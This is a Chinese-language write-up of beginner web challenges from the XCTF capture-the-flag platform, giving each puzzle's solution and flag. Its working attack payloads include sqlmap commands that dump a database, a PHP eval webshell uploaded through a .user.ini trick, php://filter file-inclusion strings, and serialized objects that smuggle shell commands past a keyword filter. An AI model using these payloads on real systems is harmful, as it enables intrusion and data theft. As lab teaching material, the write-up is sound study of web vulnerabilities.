攻防世界|web|难度1
https://adworld.xctf.org.cn/challenges/list
文章目录
Training-WWW-Robots
n this little training challenge, you are going to learn about the Robots_exclusion_standard.
The robots.txt file is used by web crawlers to check if they are allowed to crawl and index your website or only parts of it.
Sometimes these files reveal the directory structure instead protecting the content from being crawled.
Enjoy!
提示 robots.txt
访问 /robots.txt
User-agent: *
Disallow: /fl0g.php
User-agent: Yandex
Disallow: *
访问 /fl0g.php
cyberpeace{ce18c725e275dbc6174327f24928ec09}
PHP2
Can you anthenticate to this website?
你能认证这个网站吗?
猜测是信息泄露,这题访问 /index.phps
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
关键在于 urldecode
进行了解码操作,但是实际上浏览器本身就会进行一次解码, 所以一共是两次。也就是说:
- 解码前 !== admin
- 解码后 ==admin
那么可以设置 ?id=%2561dmin
,第一次解码, %25
变成 %
,成为 %61
再次解码得到a
Key: cyberpeace{5b8c19037ca48efff24b5054838e1483}
unserialize3
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
根据提示,查询参数是 code
,使用反序列化传入代码,这题的点在于 __wakeup
他会在反序列化执行之前先运行,所以直接exit
了,但是__wakeup
有个特性,就是当序列化字符串中表示对象属性个数的值
大于 真实的属性个数
时会跳过__wakeup
的执行
<?php
class xctf {
public $flag = '111';
public function __wakeup()
{
exit('bad requests');
}
}
$a= new xctf();
echo serialize($a);
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
我们只需要将属性个数 1
改成 2
,或者更大,__wakeup
就不再执行,发送 ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
cyberpeace{a04443869dca4b93357f9bd6395ccfcf}
ics-06
云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
![image-20231028113827844](https://i-blog.csdnimg.cn/blog_migrate/5f8a0176cbd2f0ace7a98aabe9e33ff3.png)
只有报表中心
可以打开,按钮也不能点击,查询参数
?id=1
还以为是sql注入,发现只能id只能等于数字,使用brup进行爆破,发现id=2333
的包长度不一样,查看返回的内容
cyberpeace{4fb37348928b8139e576eac0edd356b0}
view_source
X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。
F12
打开源码即可
<!-- cyberpeace{649e587dbcdd74610d3060b368b658d9} -->
get_post
X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?
请用GET方式提交一个名为a,值为1的变量
请再以POST方式随便提交一个名为b,值为2的变量
cyberpeace{4ea917e24b2a21b7d0511dff79ff70ea}
robots
X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。
访问 /robots.txt
User-agent: *
Disallow:
Disallow: f1ag_1s_h3re.php
访问 /f1ag_1s_h3re.php
cyberpeace{c56ce8747ed55e4dc4234c36fee76a2c}
backup
X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!
你知道index.php的备份文件名吗?
访问 /index.php.bat
,即可下载备份文件,包含flag
Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}
cookie
X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’
你知道什么是cookie吗?
Cookie:look-here=cookie.php
访问/cookie.php
See the http response
查看返回头
cyberpeace{e42ff67cb64d9f8990d012b6f850f443}
disabled_button
X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?
<input disabled="" class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth">
把 disabled
删除即可点击
cyberpeace{61aba9dd5b8ebe80c7a8be60402af930}
weak_auth
小宁写了一个登陆验证页面,随手就设了一个密码。
根据提示,尝试brup进行爆破,默认尝试admin为用户名,爆破出密码是
00123456
cyberpeace{df1e4fa956d1dae649e7cd7532dbc02e}
simple_php
小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
a
可以利用弱比较,字符串和数字比较自动转化成0
发送请求 ?a=admin&b=999a
Cyberpeace{647E37C7627CC3E401
b
可以利用is_numeric(1234a)
是false
,并且利用弱比较1234a>1234
9EC69324F66C7C}
Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
baby_web
想想初始页面是哪个
HELLO WORLD
初始页面就是index.php,没有展示但是network
里有发包,查看请求头。
flag{very_baby_web}
inget
Please enter ID,and Try to bypass
尝试使用get发送 使用万能密码 id=' or ''='
- 原理:
- 传入
id=123
实际上会传入'id=123'
- 所以传入
id=' or ''='
实际上是'id=' or ''=''
- 传入
使用sqlmap工具
-
扫描网站
sqlmap -u "http://61.147.171.105:54285/?id=1"
web server operating system: Linux CentOS 6 web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL >= 5.0.12
-
扫描网站的所有数据库
sqlmap -u "http://61.147.171.105:54285/?id=1" --dbs
available databases [4]: [*] cyber [*] information_schema [*] mysql [*] test
-
扫描cyber数据库下的表
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber --tables
Database: cyber [1 table] +-------+ | cyber | +-------+
-
扫描表下的字段
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber --tables -T cyber --columns
Database: cyber [1 table] +-------+ | cyber | +-------+ Database: cyber Table: cyber [3 columns] +--------+------------------+ | Column | Type | +--------+------------------+ | user | varchar(20) | | Id | int(11) unsigned | | pw | varchar(64) | +--------+------------------+
-
扫描字段内容
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber --tables -T cyber --columns -C pw --dump
Database: cyber [1 table] +-------+ | cyber | +-------+ [14:09:47] [INFO] fetching columns 'pw' for table 'cyber' in database 'cyber' Database: cyber Table: cyber [1 column] +--------+-------------+ | Column | Type | +--------+-------------+ | pw | varchar(64) | +--------+-------------+ [14:09:47] [INFO] fetching entries of column(s) 'pw' for table 'cyber' in database 'cyber' Database: cyber Table: cyber [1 entry] +----------------------------------------------+ | pw | +----------------------------------------------+ | cyberpeace{787ec65b4a1ccda5ced5253ec5e5ad49} | +----------------------------------------------+
即可拿到flag
easyupload
一名合格的黑客眼中,所有的上传点都是开发者留下的后门
先直接上传.php
,提示:
Your file looks wicked
上传.jpg
,提示:
file upload successful, the path is: uploads/a.jpg
接下来思路就很清晰了,改包加入木马,通过尝试发包的时候要更改 Content-Type: image/jpeg
这样可以绕过mime
检测,使用 GIF98a
可以绕过文件头的检测,发现php后缀没办法上传,使用 .user.ini
漏洞文件包含有木马的文件,使用 <?=eval($_POST['star']);?>
作为木马可以绕过对文件内php字符的检测 ,在 uploads/index.php
使用POST
传参 system('cat /f*');
即可打印flag
,这里也可以连接蚁剑。
fileinclude
Notice: Undefined index: language in /var/www/html/index.php on line 9
Please choose the language you want : English or Chinese
Hi,EveryOne,The flag is in flag.php
得到一个路径 /var/www/html/index.php
猜测 flag.php
也在其中,打开源代码看到有php
代码
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language'];
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php");
}
$x=file_get_contents('index.php');
echo $x;
?>
显然是一个文件包含题,在 cookie
中传入lan
变量,能把flag.php
包含输出,brup发包携带cookie
Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezJmMjcyY2M4M2ZkMGFmN2JkODMzY2VjMzEyMjcyOGRifSI7DQo/Pg==<
尝试进行解码,最终发现是base64加密
<?php
$flag="cyberpeace{2f272cc83fd0af7bd833cec3122728db}";
?>
fileclude
好多file呀!
WRONG WAY!
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
也是一个包含题,GET
传参file1
和file2
,file1
用来包含输出flag
,file2
因为不知道名字使用 php://input
代替读取。
?file1=php://filter/convert.base64-encode/resource=flag.php&file2=php://input
然后再POST传参,这里穿的就是file2
的内容,传入hello ctf
,这里要用burp
,hackbar
会由于格式不对不发请求
PD9waHAKZWNobyAiV1JPTkcgV0FZISI7Ci8vICRmbGFnID0gY3liZXJwZWFjZXszZjk5MDAzNTAyYmJmZWE0ODlhZGU1MDM3MjQ1ZmQ4ZH0=
尝试进行解码,最终发现是base64加密
<?php
echo "WRONG WAY!";
// $flag = cyberpeace{3f99003502bbfea489ade5037245fd8d}
unseping
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
反序列化题目,post
传参ctf
,序列化代码需要先进行base64
加密
反序列化之前,会在waf
中进行字符串检测,最终还是在ping
方法中执行Linux
指令,而ping
是在__destruct
中被调用,要求就是method
在array(ping)
中。也就是要求method = ping
,接下来call_user_func_array
会调用method
传参是arg中的数据,method=ping
可以利用ping
函数执行Linux
代码。
<?php
class ease
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping", array("l''s"));
$b = serialize($a);
echo $b . '\n';
echo base64_encode(serialize($a));
O:4:"ease":2:{s:12:" ease method";s:4:"ping";s:10:" ease args";a:1:{i:0;s:4:"l''s";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==
array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }
发现有个flag_1s_here
文件夹,尝试再使用ls
,这里的空格被过滤,使用 ${IFS}
替换
O:4:"ease":2:{s:12:" ease method";s:4:"ping";s:10:" ease args";a:1:{i:0;s:24:"l""s${IFS}f""lag_1s_here";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==
array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }
使用cat
读取php
文件
O:4:"ease":2:{s:12:" ease method";s:4:"ping";s:10:" ease args";a:1:{i:0;s:74:"c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")fl""ag_831b69012c67b35f.p""hp";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZmwiImFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319
array(2) { [0]=> string(5) " string(47) "//$cyberpeace{a7c686b5468e3289e7c902b967b8ed24}" }
file_include
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
文件包含题,GET
传参,多次尝试
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=check.php
能出值
<�?php if($_GET["filename"]){ $preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);'; if (eval($preg_match_username)) { die("do not hack!"); } }
把check直接改成flag试试
<�?php $flag='cyberpeace{073940485f330ba430a8f45eb90757ca}';
easyphp
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?> Emmm...
最后key1=key2=1
才能输出flag
,条件是a,b,c
要按照要求
- a的条件,大于
6000000
但是字数小于3
,科学计数法a=1e9
- b的条件,md5加密后,以
8b184b
结尾,爆破得到b=53724
- c的条件,c是一个
json
格式。- 有一个键m对应的值不满足
is_numeric
,但是大于2022
,可以是2022a
- 有一个键n对应的值也要是数组,并且有两个元素,第一个元素是数组
[[],]
- n中要能搜到
DGGJ
但是遍历到DGGJ
也不行。
- 有一个键m对应的值不满足
array_search() 函数与 in_array() 一样,在数组中查找一个键值。如果找到了该值,匹配元素的键名会被返回。如果没找到,则返回 false。其实相当于键值与“DGGJ”进行比较,而 php中当一个数字与一个字符串/字符进行大小比较时,首先系统尝试将此字符串/字符转换为整型/浮点型,然后进行比较。所以当n键对应的值为数字且包含数字0的话,DGGJ被视为0,即可在”其中找到DGGJ“,返回True。
https://blog.csdn.net/m0_51683653/article/details/128839648
所以最终确定c是 {"m":"2333abc","n":[[0,1],0]}
?a=1e9&b=53724&c={"m":"2333abc","n":[[0,1],0]}
ou're right cyberpeace{ff294c5c7b92f26d81bfa83f49e605aa}
.